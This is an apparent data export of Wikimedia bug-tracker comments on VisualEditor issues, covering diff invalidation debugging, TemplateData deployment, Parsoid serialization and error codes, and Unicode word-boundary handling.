+210647,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,Related URL: https://gerrit.wikimedia.org/r/62847 (Gerrit Change I9eddebbdf9294ee3d46286bdf1b157e00252d300),,,1368037459,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210640,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"The comments above are wrong. Actual timeline:
+
+# Page load, enter text
+     ve.Surface/Model/on/transact
+     onSurfaceModelTransact Clear the diff html
+     ve.Surface/Model/on/transact
+(2x) ve.Surface/Model/on/transact
+# Press ""Review and save""
+# Close dialog
+# Enter more text
+(3x) ve.Surface/Model/on/transact
+# Press ""Review and save""
+# Close dialog",,,1366839502,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0
+210635,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"Using the following debug calls:
+
+diff --git a/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js b/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
+index 859d4f8..cee2505 100644
+--- a/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
++++ b/modules/ve/init/mw/targets/ve.init.mw.ViewPageTarget.js
+@@ -390,6 +390,7 @@ ve.init.mw.ViewPageTarget.prototype.onSaveError = function ( jqXHR, status ) {
+  * @param {string} diffHtml
+  */
+ ve.init.mw.ViewPageTarget.prototype.onShowChanges = function ( diffHtml ) {
++       mw.log( 'onShowChanges', 'Invalidate the diff (by calling proxiedOnSurfaceModelTransact) on transact event' );
+        // Invalidate the diff on next change
+        this.surface.getModel().on( 'transact', this.proxiedOnSurfaceModelTransact );
+ 
+@@ -562,6 +563,7 @@ ve.init.mw.ViewPageTarget.prototype.onToolbarFeedbackToolClick = function () {
+  * @param {ve.dm.Transaction} tx Processed transaction
+  */
+ ve.init.mw.ViewPageTarget.prototype.onSurfaceModelTransact = function () {
++       mw.log( 'onSurfaceModelTransact', 'Clear the diff html' );
+        // Clear the diff
+        this.$saveDialog
+                .find( '.ve-init-mw-viewPageTarget-saveDialog-slide-review .ve-init-mw-viewPageTarget-saveDialog-viewer' )
+@@ -691,6 +693,9 @@ ve.init.mw.ViewPageTarget.prototype.setUpSurface = function ( doc ) {
+        this.surface = new ve.Surface( this, doc, this.surfaceOptions );
+        this.surface.getContext().hide();
+        this.$document = this.surface.$.find( '.ve-ce-documentNode' );
++       this.surface.getModel().on( 'transact', function () {
++               mw.log( 've.Surface/Model/on/transact' );
++       } );
+        this.surface.getModel().on( 'transact', this.proxiedOnSurfaceModelTransact );
+        this.surface.getModel().on( 'history', this.proxiedOnSurfaceModelHistory );
+        // Transplant the toolbar
+
+
+I've determined that the ""transact"" event does indeed continue to be emitted. But onSurfaceModelTransact only gets called once. It is not being rebound:
+
+
+ # Page load, enter text
+ ve.Surface/Model/on/transact load.php:11256
+ # Press ""Review and save""
+ onSurfaceModelTransact Clear the diff html load.php:11256
+ # Close dialog
+ # Enter more text
+ ve.Surface/Model/on/transact load.php:11256
+ ve.Surface/Model/on/transact load.php:11256
+ # Press ""Review and save""
+ # Close dialog
+ # Enter more lots more text
+ (14x) ve.Surface/Model/on/transact  load.php:11256",,,1366839306,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,1
+210630,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"(In reply to comment #3)
+> (In reply to comment #2)
+> > Which I assume means ve.dm.Surface for some reason didn't emit any - or
+> > mw.ViewPageTarget is binding it wrong, but that looks fine to me.
+> > 
+> > @Roan, any ideas?
+>
+> I'm pretty sure ve.dm.Surface emits the events correctly. You can check this
+> by
+> placing a breakpoint on the line where Surface calls this.emit().
+> 
+> It's possible there's a bug in EventEmitter with detaching and reattaching
+> though.
+
+Hm.. could be. All I know is that the attached callback didn't get fired.",,,1363989548,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-15,,1,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+210625,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"(In reply to comment #2)
+> Which I assume means ve.dm.Surface for some reason didn't emit any - or
+> mw.ViewPageTarget is binding it wrong, but that looks fine to me.
+> 
+> @Roan, any ideas?
+I'm pretty sure ve.dm.Surface emits the events correctly. You can check this by placing a breakpoint on the line where Surface calls this.emit().
+
+It's possible there's a bug in EventEmitter with detaching and reattaching though.",,,1363287954,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,False,,,-16,,1,0,0,0,1,1,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+210621,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"Confirmed and hunt down.
+
+From what I can see the problem may be in ve.dm.Surface not emitting any 'transact' events.
+
+Adding a log() call in ve.init.mw.ViewPageTarget.prototype.onSurfaceModelTransact, shows me the following.
+
+* When entering the first characters on a new page it is called.
+  The callback then properly unbinds itself after the first call.
+* Go to ""Review and save""
+  Now it binds the event again, so that it is notified of the first
+  change (if ever) when the dialog is closed.
+  This happens in ve.init.mw.ViewPageTarget.prototype.onShowChanges
+* Close the dialog
+* Altering the document again
+
+> the method is not called
+
+Which I assume means ve.dm.Surface for some reason didn't emit any - or mw.ViewPageTarget is binding it wrong, but that looks fine to me.
+
+@Roan, any ideas?",,,1361815269,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-18,,1,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+210615,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,*** Bug 45021 has been marked as a duplicate of this bug. ***,,,1360878886,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fvybwsx2pzn3o2pbtxx6,task_subcomment,,True,c1,1,True,,,-20,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+46444,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,"For the forthcoming Template Inspector to work, we will need a way to ""hint"" for the Inspector how the parameters of the VE should be used - we're intending for now for this to be a template-hinting extension that allows editors to specify in the wikitext source what the parameters are called and how they should be used, akin to the Template documentation template on Commons.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1359413640,1369075541.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_description,resolved,True,c1,1,True,False,True,-22,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+210523,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,"This is now deployed to all wikis. Closing.
+
+(In reply to comment #5)
+> (In reply to comment #4)
+> > We should get this deployed everywhere this coming week.
+> 
+> I'd like see to a working demo of this feature and expanded documentation at
+> [[mw:Extension:TemplateData]] before this is deployed elsewhere.
+
+I've made some quick updates, but you're right, it does need proper documentation.",,,1369075541,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+210516,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,"(In reply to comment #4)
+> We should get this deployed everywhere this coming week.
+
+I'd like see to a working demo of this feature and expanded documentation at [[mw:Extension:TemplateData]] before this is deployed elsewhere.",,,1369069065,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+210511,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,We should get this deployed everywhere this coming week.,,,1368767092,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+210507,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,Live on mw.org and testwiki now.,,,1367277258,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+210501,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,I will need to review and deploy this soonish.,,,1363988695,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,False,,,-15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+210494,VisualEditor: Implement TemplateData extension and get it deployed for the Template Inspector,"Initial code in gerrit 49840 which is now merged.
+
+To come - review, deployment and usage.",,,1363288858,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nwfeyfjfrxwame6u7ux5,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+46442,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"empty review pane, should show heading markup for non-Latin string
+
+Using a string like ""āæǣ"" or special characters like ""☺☻♥♦""
+
+Highlight the string in VE
+Choose ""Heading 1""
+
+VE displays the string larger, as expected
+
+Click ""Review and save""""
+
+Note that review pane is empty, see screen shot. 
+Click ""Looks good to me"" and finish saving. 
+
+The non-Latin string has not been affected and the Heading not been applied. 
+
+Note that normal ASCII latin strings work fine. 
+Also note that the regular editor applies the Heading markup to non-latin strings correctly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/index.php?title=User:Cmcmahon(WMF)&oldid=535414434
+
+**Attached**: {F10377}",High,80.0,1359412320,1366414342.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-piflhuji3l6moqmh3nbj,task_description,resolved,True,c1,1,False,False,True,-22,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1
+210390,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"The underlying issue (with Parsoid) has been resolved with the new version of Parsoid finally running on the cluster; marking as FIXED.
+
+[I have forked comment 6 into bug 47436.]",,,1366414342,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+210387,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"**guanhao7** wrote:
+
+I found it is impossible to use Sogou Input or other Input software to type Chinese with this tool.
+
+You may download a Sogou Input(which is the most popular one in china, on the Windows） to test it.
+
+Here is the download link: http://download.ime.sogou.com/sogou_pinyin_65f.exe?st=lTJ11fWyCsrUkj6oWiGI_Q&e=1359462829&fn=sogou_pinyin_65f.exe",,,1359463674,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,0
+210383,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,This would make a nice automated browser regression test,,,1359423892,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+210379,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"OK, interesting. This is actually a quite complicated bug, and is not actually correctly-named.
+
+The problem appears to be the '[http://barbarbar bar]' beforehand - if you remove this, the diff magically ""works"" - BUT it fails to show the '[http://barbarbar bar]' being removed, and indeed puts it after the header too, with another paragraph of 'āæǣ'. The diff is the behaviour that results from the save, even though this isn't a fair representation of the document model (the '[http://barbarbar bar]' is removed from the DM).
+
+RK: this feels like a Parsoid bug (or two?), but might be on our side related to SelSer? - can you confirm before we sling it at them?",,,1359422565,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,True,,,-22,,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,1
+210373,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,Also repro'd on Chrome/Linux,,,1359417612,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+210367,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"
+Chrome, OSX, enwiki. I can reproduce this reliably on my User page on enwiki.",,,1359417285,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,False,,,-22,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+210361,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"Afraid I can't reproduce this (it works fine for me with Firefox, Safari and Chrome from here - I get as-expected diffs, which also then save appropriately) - what wiki / version of the software was this on, and with what browser?",,,1359415631,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,True,,,-22,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+46354,VisualEditor: Handle Parsoid error messages and codes sanely,"VE gets some error codes and messages from Parsoid, but not a lot. I'm expanding that a little bit in a new patch [0], and it would be cool if VE could handle the errors I've added.
+
+401: Unauthorized: Should be handled as a user-visible error. Usually this means that the API isn't readable by anonymous users, but could be later used for something else. The text of the HTTP response has details about the error, so showing that to the user might be an OK solution.
+
+404: Not found: Usually means that we couldn't find anything for the article you're trying to parse or serialize. This shouldn't usually happen, but when it does, it *probably* means that the interwiki isn't set properly. Maybe hint that the user should compare their localsettings.js file to the example.
+
+500: Server error: This is a catch-all, but we'll send as much information as we can in the text of the HTTP response. Showing the user the text would go a long way towards more useful bug reports (I currently see roughly 4 suggested duplicates that have roughly the same summary....differentiating them might be helpful)
+
+These are all implemented in js/lib/mediawiki.ApiRequest.js in functions that inherit from the native Error object, so you can read it if you don't want to take my word for it.
+
+We could implement other error codes as we see cases that require them, but these are the big three. And of course 200 is the main success code.
+
+We might also be able to use some of the 3xx codes to represent redirects, but I'm not sure it would be totally useful. File a bug against Parsoid if it would be :)
+
+[0] https://gerrit.wikimedia.org/r/45794
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=43147",High,80.0,1359142560,1362522586.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-ocokyzlkygrkgdcs4rdx,task_description,resolved,True,c1,1,True,False,True,-23,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+229240,VisualEditor: Handle Parsoid error messages and codes sanely,"Marking this as done as the code's been committed; we may want to review in future (e.g. i18n of the error messages), but Gabriel has indicated that that entire area of code will be removed anyway, so marking as closed for now.",,,1362522586,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ocokyzlkygrkgdcs4rdx,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+229233,VisualEditor: Handle Parsoid error messages and codes sanely,"(In reply to comment #1)
+> Code in Gerrit change #52249
+
+This patch passes through the error messages from Parsoid to the existing error alert in VE. Mark's comment talks about providing suggestions based on the error code. Although maybe this could be done by Parsoid.
+
+This change should at least provide users with more specific errors for filing bugs.",,,1362505236,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ocokyzlkygrkgdcs4rdx,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1
+229228,VisualEditor: Handle Parsoid error messages and codes sanely,Code in gerrit 52249,,,1362504750,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ocokyzlkygrkgdcs4rdx,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+46085,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"See http://inimino.org/~inimino/blog/javascript_cset for some work in this area.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1358469000,1365440622.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_description,resolved,True,c1,1,False,False,True,-24,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+214028,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"Like this: https://gerrit.wikimedia.org/r/#/c/54480 (well, apart from non-BMP characters...)",,,1363625285,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+214024,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"The Unicode standard has a fair amount to say on the matter. Ideally we would implement their standard.
+
+http://www.unicode.org/reports/tr29/#Word_Boundaries",,,1363433728,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+214020,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"As an incremental improvement I've expanded the letters and numbers groups to their Unicode categories: https://gerrit.wikimedia.org/r/#/c/53583/
+We still need to think about which punctuation categories to add.",,,1363195148,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+214016,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"If you're going to do lexicon-based word boundary detection in Chinese, maybe you could use a word list stored in a client-side Bloom Filter. 
+
+I don't know if it's as much of a problem in Japanese; you could probably use (?<=\P{Han})(?=\p{Han}) as a good start (i.e. there is a word break be.",,,1363192283,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,False,,,-16,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
